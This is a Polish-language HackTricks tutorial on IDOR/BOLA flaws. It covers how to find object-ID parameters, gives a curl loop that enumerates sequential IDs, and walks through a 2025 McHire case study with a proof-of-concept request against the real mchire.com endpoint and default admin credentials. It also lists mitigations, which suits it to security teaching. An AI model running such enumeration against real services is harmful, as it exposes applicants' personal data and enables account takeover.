IDOR (Insecure Direct Object Reference)

Reading time: 4 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojawia się, gdy punkt końcowy webowy lub API ujawnia lub akceptuje identyfikator kontrolowany przez użytkownika, który jest używany bezpośrednio do uzyskania dostępu do wewnętrznego obiektu bez weryfikacji, czy wywołujący ma uprawnienia do uzyskania dostępu/modyfikacji tego obiektu. Sukces w eksploatacji zazwyczaj pozwala na poziomą lub pionową eskalację uprawnień, taką jak odczyt lub modyfikacja danych innych użytkowników, a w najgorszym przypadku pełne przejęcie konta lub masowe wyciek danych.


1. Identyfikacja potencjalnych IDOR-ów

  1. Szukaj parametrów, które odnoszą się do obiektu:
  • Ścieżka: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Zapytanie: ?id=42, ?invoice=2024-00001
  • Ciało / JSON: {"user_id": 321, "order_id": 987}
  • Nagłówki / Ciasteczka: X-Client-ID: 4711
  1. Preferuj punkty końcowe, które odczytują lub aktualizują dane (GET, PUT, PATCH, DELETE).
  2. Zauważ, gdy identyfikatory są sekwencyjne lub przewidywalne – jeśli twój ID to 64185742, to 64185741 prawdopodobnie istnieje.
  3. Zbadaj ukryte lub alternatywne przepływy (np. "Członkowie zespołu Paradox" link na stronach logowania), które mogą ujawniać dodatkowe API.
  4. Użyj uwierzytelnionej sesji o niskich uprawnieniach i zmień tylko ID zachowując ten sam token/ciasteczko. Brak błędu autoryzacji jest zazwyczaj oznaką IDOR.

Szybkie ręczne manipulacje (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Zautomatyzowana enumeracja (Burp Intruder / pętla curl)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

2. Studium przypadku z rzeczywistego świata – Platforma Chatbota McHire (2025)

Podczas oceny portalu rekrutacyjnego McHire opartego na Paradox.ai odkryto następujący IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Autoryzacja: cookie sesji użytkownika dla dowolnego konta testowego restauracji
  • Parametr ciała: {"lead_id": N} – 8-cyfrowy, sekwencyjny identyfikator numeryczny

Poprzez zmniejszenie lead_id tester uzyskał dostęp do pełnych danych osobowych wszystkich aplikantów (imię, e-mail, telefon, adres, preferencje zmian) oraz konsumenckiego JWT, który umożliwiał przejęcie sesji. Wykonanie enumeracji w zakresie 1 – 64,185,742 ujawniło około 64 milionów rekordów.

Żądanie dowodu koncepcji:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Połączone z domyślnymi danymi logowania administratora (123456:123456), które umożliwiły dostęp do konta testowego, luka ta doprowadziła do krytycznego naruszenia danych w całej firmie.


3. Wpływ IDOR / BOLA

  • Eskalacja pozioma – odczyt/aktualizacja/usunięcie danych innych użytkowników.
  • Eskalacja pionowa – użytkownik o niskich uprawnieniach zyskuje funkcjonalność tylko dla administratorów.
  • Masowe naruszenie danych, jeśli identyfikatory są sekwencyjne (np. identyfikatory wnioskodawców, faktury).
  • Przejęcie konta poprzez kradzież tokenów lub resetowanie haseł innych użytkowników.

4. Środki zaradcze i najlepsze praktyki

  1. Wymuszaj autoryzację na poziomie obiektów dla każdego żądania (user_id == session.user).
  2. Preferuj pośrednie, nieprzewidywalne identyfikatory (UUIDv4, ULID) zamiast identyfikatorów autoinkrementacyjnych.
  3. Wykonuj autoryzację po stronie serwera, nigdy nie polegaj na ukrytych polach formularzy lub kontrolkach UI.
  4. Wdrażaj kontrole RBAC / ABAC w centralnym middleware.
  5. Dodaj ograniczenia szybkości i logowanie w celu wykrywania enumeracji identyfikatorów.
  6. Testuj bezpieczeństwo każdego nowego punktu końcowego (jednostkowo, integracyjnie i DAST).

5. Narzędzia

  • Rozszerzenia BurpSuite: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Projekty Github: bwapp-idor-scanner, Blindy (masowe polowanie na IDOR).

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks